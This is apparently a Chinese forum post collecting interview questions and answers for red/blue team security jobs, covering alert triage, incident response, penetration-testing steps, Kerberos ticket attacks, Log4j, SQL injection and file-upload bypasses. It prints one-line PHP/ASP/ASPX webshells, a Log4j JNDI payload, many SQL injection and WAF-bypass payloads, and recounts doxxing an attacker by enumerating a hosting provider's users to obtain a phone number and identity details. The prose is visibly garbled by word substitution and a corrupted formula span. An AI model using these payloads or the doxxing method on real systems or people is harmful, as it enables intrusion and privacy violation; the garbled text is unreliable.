HW面试/面经(初级/中级)

打印 上一主题 下一主题

主题 1731|帖子 1731|积分 5197

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
中级问常见HW中环境

看是否真加入过HW/并熟悉攻击思路 对流量是否能正确判断
高级细节

知识储备要足/能处理肯定问题(干就完了)
常问问题初级左右如下

装备告警怎么分析是否为受到攻击大概误报?

真正的攻击会大量的占用网络空间,传输服从会低落,占用大量带宽,对系统造成损害,没有的话就是误报
其次可以去观察他的请求特征,与正常的业务是否一样,去做一个对比
再有一种环境,比如一个邮箱(OA系统,vpn都是这个环境),有人一连实验好几次暗码都错了,那两种大概,一种他真的忘了,另一种就是有人要搞他,那这种时间就去联系甲方驻场职员,跟他阐明环境,然后建议他给邮箱禁了,假如是个正常用户他再用的话肯定就会提示他联系管理员,有人联系了就阐明他是个误报,没人找的话就这样封着,假如一直没人理那就阐明是个正常告警,然后还可以看时间段,确实也有人破晓登录,但是正常企业单位破晓再登录就很不正常,这个时间可以看一下他的ip地址,假如是攻击,那他的ip地址肯定是代理池,而且其实护网的时间大家都会遵照一个宗旨,就是宁肯错杀也不漏杀,不确定环境的时间,就先去联系这个人问清楚
在复杂一点的就比如抓了一个包,发现他的请求不太对,就非常像攻击特征,然后就检察那个包,去看http请求,分析一下这个流量内里请求的目标地址到底是啥,才华知道是不是误报
假如是个sql注入,就不消分析到底是不是误报,直接封,因为正常用户都是用鼠标点击,根本就不会注入看它的相应包的长度来判断332失败 366成功

态势感知报警危险IP是基于什么报的警

日志和流量
检测流量是检测流量的什么?

协议 字段 内容等等
溯源

是在某一次攻防演练项目里,我们这边的安全装备检测到了外网攻击记录,
而且根据部署好的蜜罐系统追踪到了攻击ip地址
接到检测职员的通知后我们就第一时间去对这个ip举行了信息网络,先利用的whois信息查询,
然后看到邮件地址是某个服务器厂商邮件地址,然后就去访问了一下这个域名服务器厂商地址
开端判断服务器是在这儿买的,然后我们就,嗯,社会工程学,就去跟客服对线,就得到了
6位手机号,中央都是*号啊 ,这没办法,我们就又探索了一下服务器厂商官网,发现这网站前台
存在用户遍历毛病,就是用burp对中央的几个未知数举行了号码遍历(99999)
正确用户会返回succuss语句,然后我们就得到了准确的电话,进而通过对线qq客服
又遍历了一回得到了邮箱,然后这就简单了,姓名身份证号QQ钉钉啥的各种信息就都明了了
流量分析

冰蝎流量特征

accept明显
握手,旧版本交换AES密钥,新版本直接写死,第一个包就是加密数据,新版本已经无法抓获
内置的17个ua请求头,不自定义的话太老
流量加密过程
payload先base64加密,再颠末AES对称加密全部代码,末了传输,颠末过现实测试,真的开始执行命令了,流量是相称潜伏
Sql注入流量特征

简单来说,其实分两个维度吧,一个是应用自己产生的,一个是真实的攻击,比如说因为出现select关键字而触发安全装备告警的环境下,起首需要判断下是不是SQL语句还是参数名为select关键字导致的误报,假如不是误报,那就看SQL语句写的是啥,判断是否有危害,还是业务的SQL语句,可以看内里是不是包含恶意的函数大概敏感的高危操纵,假如都没有那就跟业务去确认是不是应用自己代码设计缺陷导致直接把SQL语句在参数中传输
应急相应项目简述

应急相应就是说我要确定这个事件的品级,然后,假如事件品级比较高的话呢,我就要接纳业务隔离,
大概是业务下线这样的手段,然后呢,接纳相应的手段之后呢,我就要举行上机排查,主要涉及到排查这个主机上失陷的地方,以及一些后门文件啊,大概说是一些危险进程的这些方面的排查。排查出来以后呢,我要做这个,环境的复测,然后看它是通过哪个毛病进来的,发生这样的事件,然后在修复相应的毛病,修复完以后呢,举行毛病复测,然后复测完以后呢,我再将业务恢复上线,大概是这样一个流程
然后当时是一个挖矿病毒的排查,我是上机排查,先用top命令筛选出来占cpu最高的那个异常程序,再通过他的具体信息用ps命令去定位到这个异常进程,看他涉及到哪些文件了,记录而且排查,我是排查比如说etc下的文件,然后主要有一样平常的操持任务,天天每周每月的文件夹下呢,都要和刚才记录下来的相关文件去举行排查,然后我是用find命令找到了它运行的这个后门操持任务,定位到了以后我就用q-9命令把占用cpu最高的进程查杀了一下,然后发现一分钟之后他又起来了,这样我根本就定位到了他是写进了操持任务,然后我再用crontab去查一下有什么操持任务,然后根据刚才的记录举行查找,找出所有的文件再记录。再开始删掉后门文件,再去到各个crontab的这个配置文件里把写进去的恶意内容删掉,然后再保险一点儿,当时我还对在这个etc下的hosts内里把他指向的这个挖矿域名解析回环到本地,这样即使有恶意进程没有处理到也可以防止他继续外联,继续下载恶意脚本,然后再继续排查还发现他在这个Etc 的这个 sugars 文件内里给一个用户写的这个,嗯就是 suits 权限,然后当时呢,我和业务方核实,把这个权限下掉,
假如一台服务器被入侵后,你会如何做应急相应?

1.预备相关的工具,查后门等工具
2.开端判断事件范例,事件品级。
3.克制范围,隔离使爱害面不继续扩大
4.查找原因,封堵攻击源。
5.业务恢复正常水平.
6.总结,陈诉,并修复、监控
应急相应都做什么

网络信息,判断范例,深入分析,清理处理,产出陈诉
渗透

渗透的流程?做渗透的时间会用到哪些工具?

信息网络:

信息网络的方式可以分为两种:自动和被动。
自动信息网络:通过直接访问、扫描网站,这种流量将流经网站
被动信息网络:利用第三方的服务对目标举行访问了解,比例:Google搜刮、Shodan搜刮等
具体内容:

1、域名信息的网络:

判断域名对应的IP,域名的whois信息(whois是用来查询域名注册所有者等信息的传输协议。whois就是一个用来查询域名是否已经被注册,以及注册域名的具体信息的数据库如域名所有人、域名注册商)
工具:
站长之家whois查询
在线CDN查询http://ping.chinaz.com/ (在渗透测试过程中,常常会碰到网站有CDN的环境。CDN即内容分发网络,就是一组在不同运营商之间的对接点上的高速缓存服务器,把用户常常访问的静态数据资源直接缓存到节点服务器上,当用户再次请求时,会直接分发到离用户近的节点服务器上相应给用户,当用户有现实数据交互时才会从远程Web服务器上相应,这样可以大大提高网站的相应速率及用户体验。利用CDN的另一个利益就是可以隐蔽真实的服务器ip,当我们ping目标域名,得到的ip地址是离我们最近一台目标节点的CDN服务器的ip地址。反之,利用不同地方的 ping 服务,检察对应 IP 地址是否唯一,假如不唯一则极有大概是利用了CDN)
微步在线:https://x.threatbook.cn/
在线域名信息查询:http://toolbar.netcraft.com/site_report?url=
2、公司敏感信息网上搜集

比如,公司的邮箱格式,公司的员工姓名,以及与该公司有关的任何信息。而且,我们还可以去Github、码云等代码托管平台上查找与此有关的敏感信息,有些粗心的程序员在将代码上传至代码托管平台后,并没有对代码举行脱敏处理。导致上传的代码中有包含如数据库连接信息、邮箱暗码、尚有大概有泄露的源代码等。
3、网站指纹辨认

在渗透测试中,对目标服务器举行指纹辨认是相称有须要的,因为只有辨认出相应的Web容器大概CMS,才华查找与其相关的毛病,然后才华举行相应的渗透操纵。CMS又称整站系统。常见的CMS有:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。
常见的网站指纹辨认工具有:御剑Web指纹辨认、椰树等。
在线指纹辨认网站:
BugScaner:http://whatweb.bugscaner.com/look/
云悉指纹:http://www.yunsee.cn/finger.html
WhatWeb:https://whatweb.net/
4、整站分析

(1)服务器范例(Linux/Windows):最简单就是通过ping来探测,Windows的TTL值都是一般是128,Linux则是64。所以大于100的肯定是Windows,而几十的肯定是Linux。
(2)判断目标网站服务器的具体的版本,可以采用 nmap 举行扫描, -O 和 -A 参数都能扫描出来
(3)网站容器(Apache/Nginx/Tomcat/IIS):需要知道网站用的web服务器是什么范例的:Apache、Nginx、Tomcat 还是 IIS。知道了web服务器是哪种范例后,我们还要探测web服务用具体的版本。比如Ngnix版本<0.83会有解析毛病 ,IIS6.0会有文件名解析毛病、IIS7.0会有畸形解析毛病等。不同的web服务器版本,存在着不同毛病。
探测网站是哪种web服务器,可以利用工具 whatweb 。
(4)脚本范例(php/jsp/asp/aspx)
1:可以根据网站URL来判断
2:site:xxx filetype:php
3:可以根据Firefox的插件来判断(wappalyzer)
(5)数据库范例(Mysql/Oracle/Accees/Mqlserver)
我们需要知道网站用的是哪种范例的数据库:Mysql、Oracle、SqlServer 还是 Access 。固然这几种数据库的语法大体上雷同,但是还是有区别的。所以我们还是要知道目标网站用的是哪种数据库,而且数据库是哪个版本的
常见搭配:
ASP 和 ASPX:ACCESS、SQL Server
PHP:MySQL、PostgreSQL
JSP:Oracle、MySQL
5、主机扫描(Nessus)

对目标主机举行扫描,而不仅仅是对网站举行扫描,扫描目标主机开放了哪些端口,扫描端口运行的服务,目标主机上有哪些毛病。
主机扫描的工具也有许多,比如:Nessus
6、端口扫描(nmap)

需要知道目标服务器开放了哪些端口,常见的如 135 、137 、138 、139 、445,这几个端口常常爆发毛病。以下是一些服务端口的毛病:
22——>ssh弱口令
873——>rsync 未授权访问毛病
3306——>mysql弱口令
6379——>redis未授权访问毛病
7、网站敏感目录和文件

扫描网站目录结构,看看是否可以遍历目录,大概敏感文件走漏
后台目录:弱口令,全能暗码,爆破
安装包:获取数据库信息,甚至是网站源码
上传目录:截断、上传图片马等
mysql管理接口:弱口令、爆破,全能暗码,然后脱裤,甚至是拿到shell
安装页面 :可以二次安装进而绕过
phpinfo:会把你配置的各种信息暴露出来
编辑器:fck、ke、等
iis短文件利用:条件比较苛刻 windows、apache等
探测目标网站后台目录的工具有: wwwscan 、御剑 、 dirbuster、cansina 等
8、旁站和C段扫描

旁站指的是同一服务器上的其他网站,许多时间,有些网站大概不是那么容易入侵。那么,可以检察该网站所在的服务器上是否尚有其他网站。假如有其他网站的话,可以先拿下其他网站的webshell,然后再提权拿到服务器的权限,末了就自然可以拿下该网站了
C段指的是同一内网段内的其他服务器,每个IP有ABCD四个段,举个例子,192.168.0.1。
A段就是192,B段是168,C段是0,D段是1,而C段嗅探的意思就是拿下它同一C段中的其中一台服务器,也就是说是D段1-255中的一台服务器,然后利用工具嗅探拿下该服务器。
旁站和C段在线查询地址:
http://www.webscan.cc/
http://www.5kik.com/
9、网站毛病扫描

网站毛病扫描就是直接对网站举行毛病探测了。
网站毛病扫描也有许多工具。比如 AWVS、AppScan、OWASP-ZAP、nessuss等等
毛病发掘:
欣赏网站,看看网站规模,功能,特点等
端口,弱口令,目录等扫描,对相应的端口举行毛病探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,恣意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器毛病检测,末了利用漏扫工具等
毛病利用&权限提升:

mysql提权,serv-u提权,oracle提权
windows 溢出提权
linux脏牛,内核毛病提权e
清除测试数据&输出陈诉
i 日志、测试数据的清理
ii 总结,输出渗透测试陈诉,附修复方案
内网服务器,如何举行信息网络

答:
(1)手动,用一些小工具(批量看存活)
new user /domain 查域、net view 看共享、hosts 文件内网 ip 域名映射、
wifi 记录和暗码、欣赏器中的暗码、敏感文件、各类服务的配置文件中信息、
历史命令、ssh 私钥、FTP 的连接信息、xshell 等 ssh 连接工具的 session
文件,3389 连接历史和被连接历史信息、某些内网 api 接口未授权访问
(2)扫描器
主机扫描、端口扫描、毛病扫描、辨认内网环境、暗码爆破、抓暗码
(3)留后门,抓信息
内网黄金单子、白银单子的区别和利用方式

答:(1)白银单子:抓取到了域控服务 hash 的环境下,在客户端以一个平凡域用 户的身份生成 TGS 单子,而且是针对于某个机器上的某个服务的,生成的白银 单子,只能访问指定的 target 机器中指定的服务。
黄金单子:直接抓取域控中账号的 hash,来在 client 端生成一个 TGT 单子, 那么该单子是针对所有机器的所有服务。
(2)通过 mimkatz 执行,导出域控中账号的 Hash
一句话木马 什么是一句话木马

能够远程控制,盗取数据,木马病毒源自古希腊特洛伊战争中闻名的“木马计”而得名,顾名思义就是一种伪装潜伏的网络病毒,等待机遇成熟就出来害人。一句话木马短小干练,而且功能强大,潜伏性非常好,在入侵中始终扮演着强大的作用。
一句话木马的寄义
本质是不变的:木马的函数执行了我们发送的命令
在php语言中我们可以通过GET 、POST 、COOKIE 这三种方式向一个网站提交数据,一句话木马用 _GET[’ '̲]、_POST[’ ‘]、                                                      C                                  O                         O                         K                         I                         E                         [                                   ’                            ′                                  ]                         吸收我们传递的数据,并把吸收的数据传递给一句话木马中执行命令的函数,进而执行命令。例如                         p                         h                         p                         的一句话木马,其中eval就是执行命令的函数,                              _COOKIE[’ '] 吸收我们传递的数据,并把吸收的数据传递给一句话木马中执行命令的函数,进而执行命令。 例如php的一句话木马,其中eval就是执行命令的函数,                  C​OOKIE[’′]吸收我们传递的数据,并把吸收的数据传递给一句话木马中执行命令的函数,进而执行命令。例如php的一句话木马,其中eval就是执行命令的函数,_POST[‘a’]就是吸收的数据。eval函数把吸收的数据看成php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的恣意php语句
怎么区分一句话木马的范例
php 的一句话木马:
<?php @eval($_POST['pass']);?> asp 的一句话是:
<%eval request (“pass”)%>
aspx 的一句话是:
<%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>
一句话木马的防范
(1)要防范“一句话木马”可以从两方面举行,起首是要隐蔽网站的数据库,不要让攻击者知道数据库文件的链接地址。这就需要管理员在网页程序中查被暴库毛病,在数据库连接文件中加入容错代码等,具体的防暴库方法在这里就不作过多的解说了。
(2)其次就是要防止用户提交的数据未过滤毛病,对用户提交的数据举行过滤,更换一些危险的代码等。例如中国站长同盟网站在出现该毛病后已经对网页程序举行的修补,插入的ASP代码中的〈、〉和"等字符会被网页程序转换成其它字符,致使服务端代码无法正常执行。
Telnet和ssh的区别

telnet是明文传输,ssh是密文传输
Log4j2

去指定下载文件的url
在搜刮框大概搜刮的url内里,加上${jndi:ldap://127.0.0.1/test} 是给lookup 传递一个恶意的参数指定,参数指的是比如ldap不存在的资源 $是会被直接执行的。 后面再去指定下载文件的url,去下载我们的恶意文件。比如是x.class 下载完成后,而且会执行代码块。
Sql注入

简单聊一下SQL注入

SQL注入就是利用这个SQL代码 恶意的一个查询的SQL语句 把他输入到参数当中大概页面的这个请求链接内里 举行解析和查询 得到数据库的一些其他信息 这就是所谓的SQL注入
你以为sql注入waf如何绕过
常见的有//注释绕过,注释代替空格,/!/内联注释绕过,/!50001/版本号绕过,url编码绕过,特殊字符绕过%0a换行,利用空字节%00,等价更换等等。
SQL注入的 waf绕过方法有哪些
一般分为白盒和黑盒测试
白盒 一般通过代码审计找到绕过方法
黑盒几个方向 架构层面 资源限制角度 协议层面绕过 规则层面绕过
架构层方面的绕过探求源站点地址 实用于利用了云waf场景 利用同网段主机或服务器举行内网注入,绕
过waf防御

资源限制角度绕过方法 是post一个大的数据包在线的waf装备一般会考虑运行速率对大的数据包检测会浪费大量的硬件资源 所以一般不会对大流量包举行过滤 可以发送大文件举行绕过
协议方面的绕过 比如页面只对get方式过滤 未对post过滤大概说对某一种文件过滤,通过修改其他未过滤的格式举行绕过 协议方面尚有一个对参数的一个污染
规则层面的绕过是最主要的方法,注释符绕过 空白符绕过 函数分割绕过 浮点数绕过利用error base举行sql注入,MySQL特殊语法绕过
尚有没有做过别的样子的sql注入
有,post注入,搜刮框的注入,登岸处的注入。
讲述一下搜刮框注入的方法。

这里的语法根本上是跟平凡的注入是一样的,搜刮框文本注入闭合是有区别的,搜刮1’假如报错大概存在毛病,那么就实验闭合+注释,1’ and 1=1 and ‘1’=’1。假如1=2报错那么这里就确定存在注入了,接下来构造语句就可以了。
SQL语句单引号被过滤了怎么办

单引号被过滤的话 可以把单引号转换成这个代码 转换成16进制数大概转换成其他一些编码方式来举行绕过
SQL注入的防御方式

起首一种的话是参数化查询接口 另外一个是举行转义特殊字符的一些转义 大概是做一些字符的过滤 第三种的话避免打印SQL的一些错误消息出来 第四种的话就是正则表达式的一个匹配 尚有的就是不要利用拼装的SQL语句来举行查询数据库的内容
SQL注入写WEBSHELL的方式有哪些?

可以通过SQL注入的一个select into outfile x写入webshell 另外一个就是通过这个SQLMAP的这个 --os-cmd这种参数来举行webshll 另外一个就是–os-shell的方式来举行写webshell
为什么参数化查询可以防止SQL注入?

因为参数化的一个查询接口的话 他可以做到参数的一个过滤和执行重用 可以保障这个SQL语句的语义不改变 保持一个原始的一个查询意思
简单的说: 参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑 所以就算在参数中写入了一些恶意的指令 SQL服务器她也不会去执行这个指令的
SQL 注入构造 payload

答:
一、布尔型盲注
(1)mysql :
‘and (length(database()))>10 –+
(2)oracle:
‘ and 1=(select decode(user,’SCOTT’,1,0) from dual) –二、时间型盲注
and if(ascii(substr((select
database()),1,1))>115,1,sleep(5))
三、利用报错回显
(1) extractvalue
and extractvalue(1,concat(0x7e,(select database())))
(2) updatexml
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
sql注入无回显的环境下如何得到数据?

1.利用sleep休眠函数 构造Payload:参数后面加’ and sleep(2) 假如看到sleep成功执行 返回时间2秒 阐明sleep()没有被过滤 之后在举行测试(看他的版本长度)
2.也可以利用DNSlog注入,原理就是把服务器返回的效果放在域名中,然后读取DNS解析时的日志,来获取想要的信息
SQL注入按请求范例分为:
GET型 POST型 Cookie注入型
其中GET和POST两种范例的区别有表单的提交方式决定的
按照数据范例分为:数字型和字符型(数字型不需要闭合前面的sql语句 而字符型需要闭合)
测试方法分为:报错 延时 盲注型 布尔型
• 数字型注入:
1)正常请求 检察页面
2)在请求后面加and 1=1 假如可以执行 则和第一部返回信息是一样的
3)在请求参数后加 and 1=2 假如返回页面与第二步页面明显不同 或有所差别 则判断为数字型注入
• 字符型注入(一般存在于吸收的参数为字符型的环境下 如姓名 暗码等):
1)正常请求检察页面(如查询admin用户信息 则返回admin用户的信息)
2)在查询的参数后加’or 1=1(偶尔可以加–来注释后面的语句),加单引号的目标是闭合前面的SQL语句并与后面的语句形成语法正确的SQL语句 假如可以添加并能执行 则返回除admin用户外所有的信息 这时可以判断存在字符型注入
数字型注入过程
步调一:正常访问,检察页面
在参数后加单引号大概%27 即可在参数后构造SQL语句 由于SQL语句单引号是成对出现的 添加单引号则SQL语句是错误的语句 不能被SQL解释器正常解析 访问报错阐明SQL语句执行了
步调二:在ID参数后加and 1=1 检察页面 发现与第一步并无异样
步调三:添加and 1=2 并检察页面 假如发现与第二步完全不同 可以证实存在数字型注入 利用SQLMAP可以拥有数据库增 删 改 查权限 甚至可以执行系统命令 上传后门文件
字符型注入过程
步调一:在参数后面加单引号大概%27 (由于SQL语句单引号是成对出现的 添加单引号 则SQL语句是错误的语句 不能被SQL解析器正常解析
步调二:添加’or ‘1’=’1,检察页面
步调三:sqlmap扫
修复建议:

每个提交信息的客户端页面 通过服务器端脚本(JSP、ASP、ASPX、PHP等)生成的客户端页面 提交的表单(FROM)或发出的链接请求中包含的所有变量 必须对变量的值举行检查过滤其中包含的特殊字符 或对特殊字符转义处理
特殊字符如下:
SQL语句关键字:如and、or、select、declare、update、xp_cmdshell;
SQL语句特殊符号:’、”、;等
别的 Web应用系统接入数据库服务器利用的用户不应为系统管理员 用户脚色应遵照最小权限原则.
范例:
基于布尔的盲注:不返回数据库数据,效果false和true
基于时间的盲注:利用sleep()或benchmark()等函数让mysql执行时间变长
if(表达式,true,false);if(length(database()>1,sleep(5),1))
基于报错注入extractvalue和updatexml
团结查询注入:id=-1 union select 1,2,3
堆查询注入:引号闭合 %23----#
几种注入范例:

一.盲注
服务器关闭了回显错误 通过服务器返回内容来判断验证是否存在着注入
一).基于布尔型的盲注
1.什么是布尔范例的盲注
Web的页面的仅仅会返回True和False 那么布尔型盲注就是举行SQL注入之后然后根据页面返回的True大概False来得到数据库中的相关信息
2.构造布尔型的盲注
1)substr()函数
string substr(string,start,length)第一个参数为要处理的字符串 start为开始位置 length为获取到的长度
2)Left()函数
Left ( string, n ) string为要获取的字符串 n为长度
3)ORD()函数
ord()函数同ASCII(),将字符转为ascii 此函数为返回第一个字符的ASCII码 常常与上面的函数举行组合利用
二)基于时间范例的盲注
1.什么是时间范例
web页面的返回值只有一种 true 无论输入任何值 他们都会按正确的来处理
2.一些payload中常用的函数
1)sleep()
执行将程序挂起一段时间
2)if(condition,true ,false)// 条件语句
(留意):sleep函数是只要存在一个满意条件的行就会延迟指定的时间 比如sleep(5)但是现实上查找到两个满意条件的行 那么就会延迟10s 这其实是一个非常重要的信息 在真实的渗透测试过程中 我们偶尔间不清楚整个表的环境的话 可以利用这样的方式就行刺探 比如设置成sleep(0.001)看末了多少秒有效果 推断表的行数
常见语法格式:Select *from table where id = 1 and if(布尔表达式,sleep(5),1);
注入思路:
基于时间的盲注一般思路就是延迟注入 说白了利用了sleep()或benchmark()等函数让mysql执行时间变长并团结判断条件语句if(expr1 ,expr2,expr3)然后通过页面的相应时间黑白来判断语句返回的值是 从而猜解一些未知的字段
注入流程(以获取数据库版本信息为例):
1.确定注入点 注入范例
2.利用if判断语句 猜测version()的长度并用sleep函数作为判断依据
3.重复步调2直至获取真正长度
4.利用if判断语句 猜测version()的第一个字符的ASCII码并利用 sleep作为判断依据构造注入语句
5.重复步调4 直至获取全部长度的版本字符的ASCII码
注入测试:

起首探求注入点,看到id=1 猜想大概存在sql注入
然后确定注入范例 在1后面增长符号‘报错 阐明存在字符注入
由于没有回显数据 实验时间盲注
Payload如下:
id = 1’ and sleep(2);
可以看到sleep成功执行 返回时间2秒 阐明sleep()没有被过滤
实验获取数据库版本信息 起首确定版本信息的长度
id=1‘and if(length(version())=23,sleep(3),1)–+
假如长度为23个字符则返回时间为3s若不是则立即返回
确认长度之后 依次查找每一位的ASCII码
例如:id=1’and if(ascii(substring(version(),1,1))=53,sleep(3),1)–+
实验第一位的ASCII码是不是53也就是十进制的5
重复以上步调最终得到全部的版本信息
绕过方法:
当sleep函数和benchmark函数被屏蔽时我们可以利用以下两种方法绕过限制策略
1.叠加全排列
2.get_lock()加锁机制
根本语句:
select get_lock(key,timeout)from test;
select release_lock(key)from test;
时间盲注的优缺点:
利用时间盲注的最大优点是对日志几乎没有影响 特殊是与基于错误的攻击相比 但是 在必须利用大量查询或CPU麋集型函数9如MySQL的benchmark())的环境下 系统管理员大概会意识到正在发生的变乱
另一件需要考虑的变乱是你注入的延迟时间 在测试web应用程序时 这一点尤其重要 因为该服务器负载和网络速率大概对影响时间产生巨大影响 你需要暂停查询足够长的时间 以确保这些不确定因素不会干扰你的测试效果 另一方面你又会希望延迟足够短在合理的时间内测试应用程序 所以把握这个时间黑白的度是很困难的
基于报错范例的注入

1.几个常用函数
1)concat()链接字符串
2)updatexml():是mysql对xml文档数据举行查询和修改的xpath
extractvalue():是mysql对xml文档数据举行查询的xpath函数
sql注入报错函数
1.floor() 返回小于等于改值的最大整数
2.extractvalue() 对xml文档举行查询
3.updatexml() 更新xml文档
4.geometry collection() 空间数据集合类,可以包括多给点,线,多边形
5.multipoint() 零个点或多个点的集合
6.polygon() 画一个由直线相连的两个以上的极点构成的多边形
7.multipolygon() 零个或多个polygon实例的集合
8.linestring() 一维对象,表现一系列点和连接这些点的线段
9.multilinestring() 零个或多个geometry或geographylineString 实例的集合
10 exp() 以参数为底的指数函数、
基于COOKIE的注入

1)攻击原理:
程序只对get/post 方法举行了过滤单位对cookie提交的数据库举行过滤
程序对提交数据获取方式时直接request 未指明利用request对象的具体方式举行获取 也就是说这个方法获取参数可以是URL后面的参数也可以是cookie内里的参数这里没有做筛选 之后注入原理就像我们的sql 注入一样
cookie注入的原理在于更改本地的cookie 从而利用cookie来提交非法语句
2)escape():该函数用于对字符串举行编码
sql注入原理

SQL注入原理:用户将恶意的SQL语句插入到应用的输入参数中,后台SQL服务器解析执行恶意SQL语句,形成SQL注入攻击。
sql注入的本领(手注)
网站没有对用户请求参数的值举行任何过滤或转码,从而造成的注入毛病。
举个简单的sql注入毛病例子,比方说:当我们登录账号时,在账号后面加上 ’and 1=1;-- 然后随便输入一个暗码,提交上去。
这个时间网站会构建一个select 语句发送给服务器举行验证。假如说网站对我们输入的内容没有举行过滤的话,那么这条sql语句
执行的时间就会以分号结束,破折号会把后面的暗码给注释掉,从而构成永真式,然后直接能登岸成功。
如何判断sql注入,有哪些方法
提交织误语句是否有异常,除此之外这些显示的错误可以通过sleep,修眠语句执行5秒等,除此之外通过DNSlog判断是尚有传回值
如何绕过web网站限制举行sql注入

POST注入,通用防注入一般限制get,但是偶尔间不限制post大概限制的很少,这时间你就可以试下post注入,比如登录框、搜刮框、投票框这类的。另外,在asp中post已被发扬光大,程序员喜欢用receive来接受数据,这就造成了许多时间get传递的参数通过post/cookie也能传递,这时假如恰好防注入程序只限制了get,因此post注入不解释
cookie注入,原理同post注入,绕过相称多通用防注入
如何判断 SQL 注入毛病成因,如何防范?注入方式有哪些?除了数据库数据,利用方式尚有哪些?
select * from news where id = ‘$SQL’;
当程序执行访问新闻等一些操纵都会执行到sql语句举行调用,假如在此调用过程中,提交了不正当的数据,而数据库无法辨认则会报错。也就是一切输入都是有害的。
注入范例有6种,可以参考SQLMAP,报错、盲注、团结、时间、内联、堆叠
注入提交方式:GET、POST、Cookies、文件头
利用方式:具体看什么数据库范例,像SQLSERVER可以命令执行,MYSQL写shell有些权限大也可以执行命令但是条件是在lINUX环境下。
防范:边界,CDN -> 脚本语言过滤 -> 数据库过滤最小权限 -> 主机
为什么有的时间没有错误回显
没有举行错误打印大概错误屏蔽
宽字符注入的原理?如何利用宽字符注入毛病,payload如何构造?

在mysql中利用了gbk编码,占用2个字节,而mysql的一种特性,GBK是多字节编码,它认为两个字节就代表一个汉字,所以%df时间会和转义符\ %5c举行团结,所以单引号就逃逸了出来,当第一个字节的ascii码大于128,就可以了。
CRLF注入的原理

CRLF注入在OWASP 内里被称为HTTP拆分攻击(HTTP Splitting)CRLF是”回车 + 换行”(\r\n)的简称,在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,欣赏器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行
mysql的网站注入,5.0以上和5.0以下有什么区别?
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
5.0以下是多用户单操纵,5.0以上是多用户多操做。
SQL注入防护
1、利用安全的API
2、对输入的特殊字符举行Escape转义处理
3、利用白名单来规范化输入验证方法
4、对客户端输入举行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库举行SQL查询之前,对特殊字符举行过滤、转义、更换、删除。
6、规范编码,字符集
六、SQL头注入点

UserAgent
Referer
Cookie
X-FOR-I
七、盲注是什么?怎么盲注?

盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在SQL注入和利用的方式。盲注的手段有两种,一个是通过页面的返回内容是否正确(boolean-based),来验证是否存在注入。一个是通过sql语句处理时间的不同来判断是否存在注入(time-based),在这里,可以用benchmark,sleep等造成延时效果的函数,也可以通过构造大笛卡儿积的团结查询表来达到延时的目标。
八、宽字节注入产生原理以及根本原因

1、产生原理
在数据库利用了宽字符集而WEB中没考虑这个问题的环境下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号举行转义,因此0xbf27会酿成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。
2、在那里编码
3、根本原因
character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding利用不当。
4、解决办法
同一数据库、Web应用、操纵系统所利用的字符集,避免解析产生差别,最好都设置为UTF-8。或对数据举行正确的转义,如mysql_real_escape_string+mysql_set_charset的利用。
文件上传

什么是文件上传毛病

文件上传毛病是指由于程序员在对用户文件上传部分的控制不敷大概处理缺陷,而导致的用户可以越过其自己权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本大概WebShell等。“文件上传”自己没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。假如服务器的处理逻辑做的不够安全,则会导致严重的后果。
文件上传毛病上传到后端怎么发现

用wireshark举行流量分析
文件上传毛病的原理及防御方法

Web应用程序通常会有文件上传的功能, 例如在 BBS发布图片 , 在个人网站发布ZIP 压缩 包, 在办公平台发布DOC文件等 , 只要 Web应用程序允许上传文件, 就有大概存在文件上传漏 洞.
大部分文件上传毛病的产生是因为Web应用程序没有对上传文件的格式举行严酷过滤 , 尚有一部分是攻击者通过 Web服务器的解析毛病来突破Web应用程序的防护
解决方法:设置黑名单和白名单
文件上传毛病原理
由于程序员在对用户文件上传部分的控制不敷大概处理缺陷,而导致用户可以越过其自己权限向服务器上传可执行的动态脚本文件
文件上传毛病的绕过方法有哪些
在文件名后面加上满意上传文件需求的后缀名
上传文件时利用burp拦截,在前端上传成功后在burp里将文件名后缀修改成.php
将一句话木马插入到需要上传的文件中
常见的上传绕过方式

前端js验证:禁用js/burp改包
大小写
双重后缀名
过滤绕过 pphphp->php
产生文件上传毛病的原因
原因:
对于上传文件的后缀名(扩展名)没有做较为严酷的限制
对于上传文件的MIMETYPE(用于描述文件的范例的一种表述方法) 没有做检查
权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang范例的文件)
对于web server对于上传文件大概指定目录的行为没有做限制
原理:
在 WEB 中举行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在举行文件保存的时间,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),而且加上原始文件的扩展名来保存到服务器上
文件上传后导致的常见安全问题一般有:

上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;
